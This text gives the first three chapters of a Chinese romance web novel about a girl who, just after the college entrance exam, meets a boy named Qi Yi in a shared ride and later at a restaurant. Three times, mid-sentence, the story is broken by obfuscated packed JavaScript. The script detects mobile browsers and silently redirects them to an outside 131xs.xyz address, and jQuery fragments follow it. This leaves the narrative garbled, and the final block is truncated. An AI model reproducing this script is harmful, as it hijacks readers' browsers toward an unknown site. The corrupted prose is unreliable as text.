《入梦童话》
1. 入梦
《入梦童话》
文/花间佳酿
晋江文学城唯一正版
第一章
最热的夏天还没来临。
六月傍晚,气温比白日里降了几度。
小区被一片橘红色的霞光笼罩,像肆意泼墨的油画,房间里,窗帘遮住外面的景象,苏杳心坐在沙发上啃一个甜脆的桃子。
投影仪放着最近一年热映票房过几十亿的电影,热血励志,主角不认命不服输最终逆天改命。
去年电影上映期间她念高三,高三生没有暑假,一分一秒都被刷不完的卷子淹埋。
她记得,当时班里一个男同学请病假出校偷偷看了这电影,回来后整个人像打了鸡血。
在他的笔袋上写了一句:“去他的天赋论。”
几日前的高考,苏杳心恰好和这同学前后出的考场,男同学应该考得不错,从校门口奔出去撒欢地表演个前空翻,结果没演好一屁股坐在地上。
弄得周围原本紧绷的考生家长们哄然大笑。
当时有媒体在,记者好笑地冲上前去采访他。
她班学生都穿着戴校徽的白色班服,班主任就在人群里,瞧见自己学生丢脸的一幕,无法直视,嫌弃地捂住脸。
等苏杳心走出考场,班主任见采访完,把她拉过去,让记者也采访她几句,多点素材。
在老班殷切眼神中,苏杳心只好乖巧地站在镜头前,小身板笔直,一副作为好学生模样接受了采访。
记者态度亲和,但目光总留意着校门口,像是在等什么人。
等她结束采访,坐上老爸的车,远远看见一个很高的男生从考场出来。
黑衣长裤,鹤立鸡群。
像个被埋伏已久的猎物,随即被两个记者抓住采访。
离的远,看不清脸,但她猜想那男同学应该是一中的学生。作为省重点并且在全市成绩排名人数独占鳌头的高中,又连续几年出了省状元,不被媒体关注都不可能。尤其是这一届里全市联考第一的那位。
当时成绩牛到全理科几乎满分,这种大概就是状元预备役了。
不知道记者是不是提前了解过,特意蹲守。
苏杳心对这种学神也好奇,但毕竟神仙和普通人的世界太远,她当时遥遥望了一眼,便收起目光。
从老妈那要来手机,下单了一份奶茶炸鸡。
当晚,老爸老妈在新闻频道等到了她的采访,后来苏杳心接到哥哥的电话,新闻没看完。
老爸老妈也没继续看电视,因为哥哥的电话,让他们在高考后变得焦虑。
房间里,投影仪播放电影片尾曲。
苏杳心很喜欢这部电影,她拿手机搜到这部电影下载保存。
此时在发小家,她把毕业没来得及写的同学录也带了来。
“哎,叔叔阿姨这两天还焦虑不?我妈这儿有静心丸,你给叔叔阿姨拿一瓶回去吃?”
说话的是段北。
他的双胞胎哥哥段南换了部电影放,闻言,瞥他一眼:“你考试准考证差点弄丢,家里静心丸这几天都被妈吃完了,你正好出去买几瓶吧,弥补弥补罪过。”
段北抓了把额发,从沙发上起身,没心没肺的语气:“我咋感觉这高考是给家长们考的呢,一个个的还没咱们放松呢。”
段南和段北是异卵双胞胎,长相不同,性格也天差地别,段南斯文,心思也比弟弟细腻。
等弟弟出门,段南问:“是因为明哲哥的原因,让叔叔阿姨对你不放心?”
被他说中,苏杳心手托腮,写同学录的笔也停下。
“我哥那年高考失利,我觉得我爸妈到现在还没走出来。”
爸妈不放心,也是她经常自我感觉良好,和她哥一样。
导致听见她说考得不错、正常发挥,苏怀峰和蔡卉也只是夸夸她,显得很开心,并没有真的安心。
今早,苏杳心听见老爸老妈在房间里讲话,老妈从高考结束那晚就一直在失眠,老爸的颈椎病也犯了。
短短几天,两个人都见憔悴。
段南安慰她:“你不是考得还行吗,等出成绩,他们也就放心了。”
苏杳心对自己有信心。
但她怕出成绩之前,老爸老妈因为过于焦虑再生出什么病来。
忽然,窗外一阵轰隆隆的雷声,好像要下雨。
门口传来开门声,段北风风火火地进屋:“幸亏我跑得快,才没被雷劈……不是,才没被雨淋!”
话音落,敞开的窗帘外一片水汽氤氲,雨滴倾盆而下拍打着窗玻璃。
苏杳心还想写完这张同学录,去奶奶家的。
两瓶静心丸塞进苏杳心包里,段北笑道:“记得跟叔叔阿姨说,是我买的啊。”
苏杳心点头,继续写同学录。
她长得白,此时低着头,耳边的发丝落在脸边,投影仪的光映着她精致的五官。
睫毛很长,杏眼翘鼻,巴掌大的小脸干净的像雪梨,水灵灵的。
段北一直觉得,苏杳心真是从小好看到大。
是他见过最好看的女孩子。
段北托腮傻笑,又咳嗽一声,“其实吧我有个办法,能让叔叔阿姨从你考试的事上分分心,要不要听?”
苏杳心抬头。
段北挠了挠后脑勺,还是那一脸笑嘻嘻:“你要是不介意,就跟叔叔阿姨说咱俩在谈恋爱。”
“宝贝女儿谈恋爱了,这事的震撼度,可不比高考小啊。”
沙发另一边的段南脸色无语。
苏杳心眨了下眼,对于这个办法她有点动心。对老爸老妈也一定有效。
不过,目光落在段北脸上……
她对恋爱对象深觉不妥。
“不要吧,”苏杳心摇摇头:“我爸妈对你太熟悉,要是听说我和你谈恋爱,估计会更焦虑的。”
段北:“……”
段南:“呵呵。”
“……”段北红着脸,抓起一个抱枕,就朝段南砸过去。
“你笑什么笑!”
“我是你哥!”
“是我哥你也该打!”
……
这场雨下的急,走得也急。
苏杳心从发小家出来时,小区外是一片雨后初霁的干净,空气弥漫着泥土的清香。
她走到小区门口,点开打车软件,这条街上在修路,很少有司机愿意往这条街里开,于是顺手把拼车也点上。
很幸运,有司机接了单。
她站在方便停车的地方,望向车会驶来的方向。
旁边香樟树叶翠绿,晶莹的雨珠从上面滑落,掉进台阶边湿润松软的泥土中。
又掉一滴到她头顶,她眨了下眼,就见一辆黑色车子缓缓驶来。
车子线条漂亮,被雨洗过显得很干净,苏杳心看了眼车牌号,打开后门上了车。
因为是拼车,车里还坐着一位乘客。
夏天的夜晚路灯还未亮,光线昏暗,这位乘客戴着一顶鸭舌帽,外套连帽戴在上面,气质看起来很年轻。
估摸着也是个高中生的年纪。
苏杳心坐好后,才发现这人的腿好长,车子空间算大,对他来讲都显得逼仄。
他靠在车里,姿态散漫,但高大优越的身形骨架,让气质有种清冷的凌厉。
鸭舌帽压的低,下颌线条流畅,只露出一小半脸。
但也尤为扎眼。
忽然这少年抬了下头,露出一张完整的侧脸。苏杳心眼前蓦地一亮。
前面司机年轻的嗓音传来,不急不忙地笑问:“小姑娘,坐好了没,手机后四位是多少?我要开车啦。”
司机打断了她欣赏帅哥的目光,她回头,跟司机说了号码。
司机启动车,悠闲地跟她聊天:“这边路要修多久啊,唉,这几天在小区附近一天也接不到几单,还不够挣我喝奶茶的钱呢。”
苏杳心:“听说本来月初能修完,但高考那一周停工,大概这周末能修好吧。”
苏杳心声音好听,说话时也笑盈盈的,司机似乎觉得她亲切,跟她聊着:“停工这事我听说还是一个高考生去有关部门申请的,你听说过没?”
这件事苏杳心还真的不清楚,但高考那几天,小区外面很安静,午休也比平日里更好养精神。
“没听说,”她摇摇头,感兴趣地问司机:“
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15653074|172823||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
那,那个考生是去什么部门申请的?”
“社区物业吗?”
她家小区的物业不办事的程度,每次交物业费时,老妈蔡女士都要骂一通。
司机从后视镜扫了一眼车后座,悠哉地笑:“这我就不知道了。”
话音落,旁边一直安静的男生忽然开口,是对苏杳心说的。
“教育部。”
男生嗓音清冷,声线偏低,还带着一点磁。
像一滴清水滴到心涧。
苏杳心看过去,对上了男生的视线。
他看起来确实年轻,少年感很强,但高大的身形比寻常的高中生多了点沉稳,眉眼深长锐利,冷白皮。
精致的五官好看到多了几分散漫的攻击性。
这样被苏杳心仔细打量,也挑不出一点瑕疵,经得起推敲。
是难得一遇的帅哥。
以前她的闺蜜分析过,说苏杳心颜控,并且眼光太高,几乎全班女生都喜欢的一个学校体育部部草,她竟然觉得只是还行。
现在看来,她眼光确实有点高。
比如这小哥哥的脸,就长在了她的审美点上,是她的菜。
所以这般对视,苏杳心竟然有点不好意思。
她抿了下唇,“教育部吗?”
“嗯。”
祁弈手随意搭在腿上,散漫地敲了敲,目光落在她脸上,“就算社区找到修路的部门,他们也未必会停工,但教育部会担心影响考生,由他们去沟通,要比社区用心的多。”
苏杳心哦了声,“你说的很对。”
“你也是听说的么?”她又问。
车窗外路灯亮起,在雨后的夜晚带着几分清冷中的暖色,落在男生英气的眉眼。
祁弈挑起一边的眉,似笑:“嗯,听说的。”
驾驶位的徐舟单手开车,摸了下鼻子。
苏杳心:“你也住在这附近?”
“不是。”
祁弈:“有朋友住这里。”
苏杳心点了头。
车开到一条宽敞的大路,她没再问别的,坐回身,望向窗外夜晚灯下掠过的一道道树影。
过了会儿,余光轻轻一瞥,便注意到男生相隔不远的长腿,还是那般随意散漫地支着。
存在感很强。
苏杳心抱着书包,书包上的挂链毛球蹭着她手心,痒痒的。
这时手机震动,她拿出来看一眼。
段北发来的消息,说下末周天气很好,问她想不想去露营?
苏杳心盯着这条消息,想起段北之前提起的办法,倏然间,福至心灵。
既然遇见了,或许就是契机呢。
苏杳心目光慢慢挪到身旁。
她想要个微信。
然后跟老爸老妈说,她遇见一个心动的男生。
当然她不是真要和人家谈恋爱,只是权宜之计,稍微借用一下这位帅哥,装作想追他,好分散老爸老妈整天焦虑的心情。
不过她不清楚人家有没有女朋友。
如果有,那是万万不能要微信的。
苏杳心先给段北回了消息,又看向男生。
注意到她的目光,他也抬起眼。
苏杳心露出一个亲和的微笑:“方便问一下,你有女朋友吗?”
没等少年有反应,前面趁红灯喝香飘飘奶茶的司机似震惊,忽地一口被呛到,猛地咳了起来。
苏杳心一愣。
她没搭讪过男生,是她这样问太直白了吗?
“……”
她思索着换个委婉的方式问,没等开口,旁边男生好听的嗓音响起。
“没有。”
祁弈低眸看她,瞳仁漆黑,眼神有点耐人寻味:“我没有女朋友。”
苏杳心睫毛一颤,心情松快。
她乘胜追击地递出手机。
“那,我可以跟你要微信吗?”
祁弈视线没动,注视她两秒,低低笑了声。
“你不是已经在要了吗?”
少年眉眼在淡淡的灯光下,带了几分肆意的流光。
随后。
他点头:“你可以要我的微信。”
2. 入梦
街道边的空气,是老旧小巷历久弥新的烟火气味。
老大爷的西瓜车淋了雨,翠绿瓜皮上裹着雨珠,旁边烧烤摊的小地桌,坐了几桌下班来喝点小酒的客人。
苏杳心下车时,一股烧烤的焦香味儿扑面而来。
她回头时,看了眼暗色车窗里男生英挺的身影,转身融入热闹的街道里。
在嘈杂细碎的气氛里,苏杳心边走,边看手机里新加上的微信。
祁弈。
她目光落名字上,脑海里联系起几个属于这名字的词汇,冰雪聪明、冷静、睿智。
和他给人的第一感觉很像。
气质干净清冷,瞳仁黑亮,像棋盘上博弈时决定胜局的一枚黑子,和他对视,能感觉到一股有力的聪明劲儿。
她在屏幕上敲字,发过去。
苏杳心:[你的名字很好听。]
男生可能没在看手机,一时没回。
之前在车上,段北发给她几条露营要用的帐篷链接,苏杳心点开,她打算带闺蜜秦晓棠一起去,选了一顶双人帐篷。
她低头回消息,路不算宽,余光注意避开身边的路人。
走过热闹的街边,苏杳心还在发微信,脚下凭着熟悉的方向感拐进去奶奶家的巷子里。
等走了一会儿,她摁灭屏幕,才注意到周围的异样。
整条小巷的路灯坏了,漆黑一片,高高的墙头挂着层层叠叠的树叶,遮住月亮稀薄的光亮,连路也看不清。
旁边忽地发出簌簌声响,是一条野猫窜过,只能看清一点身形轮廓。
苏杳心有点怕黑,一时间停在原地。
手机突然亮起,她低头看一眼。
祁弈:[我在你身后。]
苏杳心握着手机回头,小巷口那边有道高挑的身影,高大清瘦,但不单薄,背后是一片昏昧的光线,他像是站在光与暗的分界,朝她走来。
苏杳心看着男生靠近,他的外套帽子摘了,只戴着一顶鸭舌帽,手机打开手电筒照明,在她的注视中,站在她身前。
相对而立,他比她以为的还要高,肩膀宽阔挺直,高大的身形可以完全罩住她。
有人陪她一起走,苏杳心轻快的笑:“原来你也在这里下车。”
祁弈借着光看她,一手抄在裤兜,嗯了声。
注意到她明显轻松的笑,他问:“怕黑?”
“有点,”苏杳心点点头,往前迈步,“这里路灯第一次坏,有点不适应。”
但这点害怕在他出现后,完全消散,手机白亮的灯照着她脚下湿漉的地面,苏杳心走一会儿,又看他:“祁弈。”
祁弈低头:“什么?”
苏杳心好奇:“你是住在这边吗?”
这一片的人家邻里关系都很好,苏杳心对巷子里的人家都熟悉,不过从巷子出去最面前,有一个新开发的楼盘,她猜想他可能住在那边。
祁弈:“我不住在这里。”
话落,他看着她补充:“是一个朋友的奶奶,住在这边。”
苏杳心哦一声,没再问他来此是去见朋友,还是去见朋友的奶奶,想聊点关于他自身的事,熟悉一下。
也好清楚她以后“要追”的人的基本信息。
苏杳心:“你是高中生吗?”
“嗯,十八岁,一月生日。”
苏杳心:“我是五月生日。”
祁弈扬了扬眉:“双子座?”
男生淡笑着扬眉,清俊的脸上多了一股生动,有种介于男孩和男人之间的迷人。
苏杳心不可避免地稍顿一瞬,下一秒笑了笑:“对啊,双子座。”
祁弈:“看得出来。”
苏杳心眨眼:“看得出来?你对星座有研究吗?”
“也不算有研究。”
祁弈不时看一眼前面的路,又看她,眼睛在暗色中也显得明亮:“只对双子座了解。”
苏杳心听见这话,心里有了猜想。
不会是他喜欢的女孩子是双子座,所以研究过?
苏杳心没有细问,也没必要了解这么多。
她又问:“那你在念高几?”
祁弈:“高三毕业生,刚高考完。”
觉得有缘,她眉眼弯起:“好巧,我也是高考生。”
祁弈目光在她眉眼上停留,似笑非笑:“那是很巧。”
“你考得怎么样?”他主动问了句。
苏杳心含笑,声音轻软:“挺好的。”
“你呢?”
“还行,”祁弈说:“能答的都答了。”
他语气随意,有种考完就不在意了的感觉,能有这种态度的大多是两种情况,一种是对自己的实力自信,真学霸。另一种是考的一般,剩下的只能听天由命。
段北每次考完试都是这种说辞:能答的都答了,对不对就不好说了。
苏杳心不清楚他是哪种。
“把能答的都答了,已经很厉害了,”苏杳心喜欢往好了想,乐观地告诉他:“我们班老师说这是一种应试能力,说明心态很稳,心态稳的人运气也不会太差的。”
“是吗?”男生似乎听进去了,脸上神色散漫而轻松:“那借你吉言了,希望我运气不差。”
视线相对,四周静谧的能听见很远处的蝉鸣。
苏杳心习惯说话时礼貌地看人的眼睛,也一时忘了看路。
等她再想聊点别的,倏然间,整个人快速地朝男生靠近,视线中少年露在鸭舌帽下的半张脸,忽地放大。
她被拉了一下。
被祁弈握着手臂。
“小心有水。”他说。
几乎是话音刚落,男生微凉的掌心松开,松开的速度,让苏杳心觉得他即绅士,又有点像不喜欢和别人触碰。
一触即离。
苏杳心看向脚下旁边的地方,有一处水洼,还带着点泥浆。
她又抬头,感谢道:“谢谢你救了我的鞋。”
祁弈嘴角微弯,悠悠道:“不客气。”
他态度很好,但想到刚刚他似乎不喜欢和人触碰,估计也不会喜欢和人靠近,苏杳心很自觉地挪开一点,又往前走。
她专注脚下的路,免得再麻烦人家,也打消聊天的想法。
到了奶奶家门口,大门开着,窗户里照出暖色温馨的灯光,淡淡的光线将周围的一切轮廓照的清晰。
祁弈手机的灯关了。
苏杳心停住脚步,要跟他道别,他先一步叫了她的名字。
“苏杳心。”
她抬头,在暗色中里对上男生黑亮的眼,他笑了下,手机揣到兜里,似乎心情不错。
在说再见之前。
他说:“你的名字也很好听。”
—
院子里点着一盏小灯笼,苏杳心进屋时奶奶正在茶几上包汤圆,花生和黑芝麻两种馅。
奶奶喜欢花生,她喜欢黑芝麻,但最近老人家也爱上了黑芝麻,每次都要抢苏杳心的吃。
一见她进屋,奶奶忙摆手,“快去洗手,然后过来帮忙包。”
苏杳心把包放在沙发上,坐在到奶奶旁边,下巴搭在她肩膀,“那说好了,一人一碗,您不许多吃我的哦。”
老太太打马哈:“你放心,我胃口好着呢,上个月去检查肠胃,医生说我是七十岁的年纪,四十岁的胃,晚上多吃几个汤圆消化完全不成问题!”
“你快去洗手。”
等洗过手出来,苏杳心坐在沙发上,手心里滚着糯米汤圆。
“奶奶,你说爸妈给我起的名字,还有别的含义吗?比如一些更有内涵的寓意和期待?”
老太太瞅她白净小脸蛋上蹭上的糯米粉,伸手抿了下,结果沾了更多,“哪还有别的含义,杳就是美好漂亮,心就是甜心宝贝。”
“你爸对你没别的期待,做个漂亮小甜心就够了。”
苏杳心叹了口气,得了便宜还卖乖:“那我这从一出生就实现了啊,一点也不需要努力。”
“长得漂亮,名字也好听。”她歪头说着。
老太太笑着捏了捏她软嫩的脸蛋。
快包好汤圆时,苏杳心手机响了,她擦了下手,接通。
是老爸来的电话,说明天和老妈一起去檀市旅游,跟的旅游团,明天苏杳心还要去学校估分,这次就先不带她一起了,两个人要过一下二人世界,后天才能回来。
苏杳心好笑:“所以你们的二人世界只多余我,整个团的人都不算电灯泡啦?”
电话里苏怀峰朝蔡卉乐呵呵说了句:“蔡女士,你的宝贝女儿说不带上她,吃醋了。”
苏杳心哭笑不得,问了声他们去的什么景点。
听见是檀市有名香火鼎盛的寺庙,她心里有了数。老爸老妈这是为她的成绩,烧香拜佛去了。
苏杳心说让他们好好玩,嘱咐着注意安全,老妈接过电话又和她聊了几句,让她早点睡。
挂了电话,吃过晚饭,苏杳心去洗了澡,早早睡下了。
第二天清早,她早早到了学校。
到教室时,空荡荡的教室里只有班长在。
夏天的气息渐渐浓烈,等学生们陆陆续续到了教室,高三的教学楼像是一群被放飞的候鸟归林的林子,有认真估分的,也有人收不了心干脆撒欢地玩,走廊里充斥着肆无忌惮奔跑、以及拍篮球的声音。
苏杳心坐在自己的位置上,窗外是嘹亮撕叫的蝉鸣,走廊里是热闹的喧嚣,但此时都没有入耳。
她全神专注时,可以做到将一切杂音屏蔽。
她同桌兼闺蜜秦晓棠最佩服她这点,没有打扰她,估分估得快崩溃了,甚至都忘了自己的答案,秦晓棠干脆去找前桌的女生一起聊昨晚选秀节目的小哥哥。
毕竟估分也改变不了成绩,很多同学还指望出分前,能过几天没心没肺的日子。
教室里估完分渐渐走了一些同学,下午时,老班来教室溜达一圈,看见秦晓棠拉着女同学一起看手机,脑袋挨在一起,一脸痴笑。
莫长华手里的折扇不重,但恨铁不成钢地拍了两人脑袋,“就知道看帅哥!等你们考上大学,大学里有的是帅哥给你们看。”
“老莫你别骗我!”秦晓棠仰着脖子,“要是没有帅哥,我可要回来复读的!”
“呸呸,复什么读,”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15653075|172823||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
老莫有点迷信,今日的头发都梳头得格外油亮,“不许说复读,你们都得给我考上!”
话音落,莫长华看向后桌安静且认真的女生,稍稍紧张地问:“苏杳心,估的怎么样?”
苏杳心刚好对完数学最后一道大题,只剩下英语没估,她抬头:“英语没估,但其他科应该比三模的分高。”
莫长华点头,神色肉眼可见的高兴,“嗯那就行,考的不错。”
苏杳心的三模分数是671分,英语稳定又是强项,其他科比三模高,芜大应该是保了。
莫长华满脸欣慰:“等出分如果和你估的成绩相差不大,我觉得你可以考虑一下……”
话说到一半,莫长华觉得这分数冲京大,南大也有可能,但不敢话说太早,推了下眼镜,笑呵呵道:“等出分再说,你继续估英语吧。”
而后折扇潇洒地打开,扇着风悠悠地出了教室。
秦晓棠听见苏杳心考的好,等她估完英语,笑嘻嘻地道:“杳杳,这下你爸妈该高兴坏了!”
苏杳心把卷子答案收好,不太确定:“希望吧。”
她拿手机发微信,把估分的情况跟老爸老妈说了声,家庭群里老苏和蔡女士表现得惊喜,但文字瞧不出有没有真的放心。
不过昨晚老妈在电话里,声音能听出嗓子有点哑的。
窗外初夏的风有点热,苏杳心想到什么,又点开一个微信。
聊天记录还留在昨晚,她夸他名字好听那一句。
她点进祁弈的朋友圈。
对面秦晓棠见她开始玩手机,拍拍她胳膊,“哎,你看这个小哥哥帅不?”
苏杳心目光被递来的手机屏占据,屏幕里是个长得阳光秀气的男孩,穿白衬衫在舞台上跳舞,她点头,“还行。”
秦晓棠啧了声,这可是最近人气超高的选秀偶像,这丫头真是不懂欣赏帅哥!
也许是今天估分,秦晓棠想起前天听来的消息,又扒拉她胳膊,“那个联考第一的一中学神,你还记得不?”
苏杳心没抬头,“嗯。”
秦晓棠笑眯眯:“我前天去书店买小说,遇见了一中的学生,应该是高二的,她们说那位学神是她们学校的校草哎,长得特别特别帅!”
苏杳心安静地等下文,“然后呢?”
“……”秦晓棠:“学习牛逼又是个大帅哥,校草级别的!这消息不值得惊喜吗!!!”
苏杳心眨了下眼,随后挠挠下巴,笑了笑:“哦,好惊喜哦。”
秦晓棠:“……”
“你还能再敷衍点儿不。”
经过的班长听见有人谈起一中的那位,兴奋地加入进来:“你们在聊那位啊,那位帅不帅不知道,但牛逼是真的。”
“我听参加过培训的竞赛生说,他当时竞赛完全可以保送京大,但自己放弃了,”宋庆一脸崇拜:“据说是因为想参加高考,到时候可以选心仪的学校。”
秦晓棠哇了声,“那么帅,那他是想念南大?不对呀,南大不是也有保送吗?”
宋庆推了推眼镜,羡慕的语气:“那就不知道人家是怎么想的了,有实力就是能任性,估计是想体验一下高考呢?”
秦晓棠旁边的女生忽地开口,笑盈盈地:“哎,我觉得人家学神说不定是有喜欢的女生,想和喜欢的人报一所大学呢。”
“很有可能哎!”
秦晓棠捧脸,然后和女生一起往这方面聊。
苏杳心听着两人越聊越邪乎,都快编成一部偶像剧了,无奈地笑了下,转头看班长。
班长也听不下去偶像剧剧情,看她:“苏杳心,我听老莫说,你考的不错啊?”
苏杳心微笑:“正常发挥,班长你呢?”
宋庆推了推眼镜,做了老莫三年学生,竟然有几分莫长华的中年斯文劲儿,“我也可以,不出意外,芜大稳了。”
苏杳心恭喜他一句,宋庆心情爽朗地说声谢谢。
窗外天边泛起一点隐约的霞光,照映着白色的教学楼,教室里同学们几乎都估完分离开,还剩几个同学在闲聊。
宋庆约着还没走的同学一起去吃个饭。
毕竟毕业后各奔天南地北,见面的机会就少了。
地点在市中心的一家餐厅。
男同学先一车过去,定包间点菜。
苏杳心她们晚十分钟到。
街边香樟里传来蝉鸣的撕叫,夏天的傍晚依然充满活力又潮热饱满。
酒店门口有服务生接待,领着她们上到二楼。
吊灯明亮的走廊里,她们跟着服务生走到一号包间,准备进去时,苏杳心目光不经意一抬,看见一个高挑的身影,黑T恤黑短发,宽肩长腿,身形比例极好。
一瞥而过,那人进了最里面包间。
这背影让她感觉到熟悉,在她发怔的一秒后,身后的秦晓棠挽着她往包间里走。
“快进去快进去,我快饿死啦!”
苏杳心被推进了屋。
一进屋,班长正在开一瓶气泡酒,告诉她们。
“今天还真是巧,听说最里面的VIP包厢,是一中的一个毕业班在聚餐。”
3. 入梦
一中的毕业班?
秦晓棠:“那个班呀,是那位学神的班吗?”
宋庆给女生们倒果汁气泡酒,“这我哪知道,就是开包间时听服务生提了嘴。”
秦晓棠拉开椅子,笑眯眯:“那服务生有没有说,那个包间里有没有帅哥?”
“……”
宋庆无奈:“秦晓棠,你的花痴脑但凡用在学习上,学习成绩一定一飞冲天,无人能及!”
秦晓棠坐下,抿口气泡酒:“切,班长你真是越来越像老莫了,等上了大学,你少喝点啤酒啊,免得像老莫一样大肚腩!”
说完,和苏杳心碰了下杯。
她这个闺蜜嘴上永远不吃亏,苏杳心笑笑,喝了一小口果酒,气泡在舌尖化开,淡淡的橙子香味。
这家酒店客人多,但好在上菜的速度不慢。
同学们边聊边吃,酸梅小排味道酸甜可口,很受女生喜欢,宋庆跟服务员又多点一份。
吃到一半,苏杳心和秦晓棠去卫生间。
女卫生间在走廊右侧,墨色的大理石墙壁,银色延展的花纹显得酒店里的一个卫生间也很气派。
走廊不远处的对面是男卫生间,此时门口站着几个高个的年轻男生。
苏杳心一眼瞧见最惹眼的人,是她之前瞧着眼熟的背影。
祁弈没戴帽子,五官在白亮的灯下更清晰冷峻,一身黑色利落的运动服,他身边的人应该是他的同学。
几个男生在聊什么,笑得开心,他散漫地靠在墙壁,低眼在看手机,有同学笑着拍了他一下,他也跟着笑了。
神色漫不经心。
真是巧,连续两天都遇见了他。
不过,相比昨晚他的那种温和感,此时少年站在那边,却散发着一股不好接近的气场,慵懒又有点酷。
苏杳心觉得,如果是此时的祁弈,她可能不太敢去跟人家要微信的。
旁边的秦晓棠没注意她的目光,低头在手机里翻明星款发型,打算过两天烫个头发。
“这个也好看。”
走到卫生间门口,顺手把苏杳心拽了进去。
从厕所里间出来,苏杳心去到洗手台。
旁边的台子有两个女生在洗手,一个似乎喝醉了,哭的惨兮兮的。
“呜呜呜,你说刚才碰杯时,祁弈看我了吗?”
“看……了吧。”
苏杳心伸手在细细的水流中洗手,默默看了眼哭的脸都花了的女生。
“骗人!他没看我,他看都没看我一眼!!”
“做了三年同学,都毕业了他还这么疏离,跟有女朋友了似的。”
女生难过地生气:“一点也不绅士!”
“对对对,他不绅士,一点也不懂怜香惜玉,所以你别喜欢他了。”
女生状态醉的晕乎乎,继续哭:“其实,我也不是非要和他谈恋爱,我,我就是想睡他!”
苏杳心被惊吓的咳了一声。
觉得不礼貌,又很快憋住。
“呜呜呜,他至少让我睡一次也行啊……”
旁边的女生在哄她,这时秦晓棠也出来,看见这一幕也被惊到,听着女生边哭边说喜欢一个男生。
从卫生间出来,苏杳心看向走廊里,男生已经离开了。
秦晓棠小声地啧了声:“哎,你说刚才那女生喜欢人家得喜欢成什么样啊,为了人家,喝成这样。”
苏杳心摸了摸鼻子,“大概是对方特别帅吧。”
“真是太阳打西边出来了,”秦晓棠惊奇,笑着看她:“你也会说帅这个字啦?”
苏杳心想到什么,嗯了声:“刚学会的。”
回到包间,苏杳心帮秦晓棠选了一个大波浪发型,然后吃一碗杨枝甘露,刷手机玩。
看见一个头像,她想了想,点进去发了一条消息。
苏杳心:[你在柳阁酒店吗?]
没想到对方秒回。
祁弈:[你怎么知道?]
苏杳心轻轻弯唇:[我在这边吃饭,刚才在走廊里看见你了。]
祁弈:[怎么没跟我打招呼?]
苏杳心看见这句,在想怎么回,说和他还不熟,所以没好意思?
没等回复,祁弈又发一条。
[你在哪个包间?]
苏杳心:[一号包间,和几个同学一起吃饭。]
男生没立即回复,苏杳心捞着甜品里的芒果吃。
过了两分钟。
祁弈:[嗯,我们今天是谢师宴。]
苏杳心看见,回他:[你们谢师宴办的好早呀。]
祁弈:[不是学校统一的,是班里师生提前吃一次。]
苏杳心:[哦,你们班级感情真好。]
她又问:[你是一中的是吗?]
祁弈:[对。高考和你同一个考场]
她好像没说过自己的学校。
苏杳心:[你怎么知道我是五中的?]
祁弈:[昨天在车里,看见了你书包上的校徽。]
原来是这样,那枚校徽别针小巧,没想到被他发现了。
苏杳心嘴角微弯:[一中的学生都这么见识广吗,我都不知道你们一中的校徽章长什么样子呢。]
过了几秒。
祁弈发来一张图片,是一中的校徽别针。
祁弈:[一中的太端正了,没你的好看。]
苏杳心真心:[可是学校比较厉害,莫名就带着一股霸气。]
祁弈:[有吗?]
苏杳心:[有呀。]
下一条,他回:[我又看了眼,你说的对,确实霸气。]
苏杳心弯了弯唇,忽然感觉之前在走廊里见到的他,好像没那么难接近了,明明性格很好的。
苏杳心知道他们在办谢师宴,不好和他多聊。
[那你和同学们吃饭吧,我没别的事,就是看见你了,打个招呼。]
祁弈:[那下次再遇见,要直接过来跟我打招呼。]
这可能是他的教养,认识的人见面没打招呼,在他那里算是失礼么?
苏杳心记住了。
旁边秦晓棠拍拍她,给她看一个韩式波浪短发的发型,“杳杳你看这个,这个适合我不?好显脸小哎。”
苏杳心在微信里编辑一个好字,跳出来一个ok的表情包,顺手就点出去了。
她愣了下,也没撤回。
然后转头帮秦晓棠参考参考。
这时候,包间外有服务生推着餐车进屋。
“您好,是五中的学生是吗?”
宋庆记得菜都上齐了,看向餐车里,“对,不过我们好像没点这道菜。”
服务生微笑:“是九号包间的一中学生送给你们的。”
话音落,所有的同学纷纷惊讶地看向这道菜。
服务生端着白瓷盘,将一道摆盘精美的桂花糖醋鲤鱼,稳当地放在桌上。
小朵金粒散落在金色的鲤鱼上,还有一枝完整的桂花,散发阵阵柔和的清香。
服务生站直身,笑道。
“预祝你们,金榜题名,蟾宫折桂。”
这一瞬间,整个包间里都被这份礼物惊喜到,苏杳心也被这份祝福感染,心里涌动着一股独属于高考生的澎湃。
“天呐!一中的学生都是什么小天使啊,这也太贴心了吧。”
宋庆先对服务生说了谢谢,然后想了下,跟服务生要了一瓶红酒。
宋庆感动的不知该说什么好:“不愧是一中的学霸们,成绩好人也好,走吧,男生跟我一起去给他们敬个酒。”
等男同学们离开包间,秦晓棠夹了一块鱼肉吃。
“好好吃哦!”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 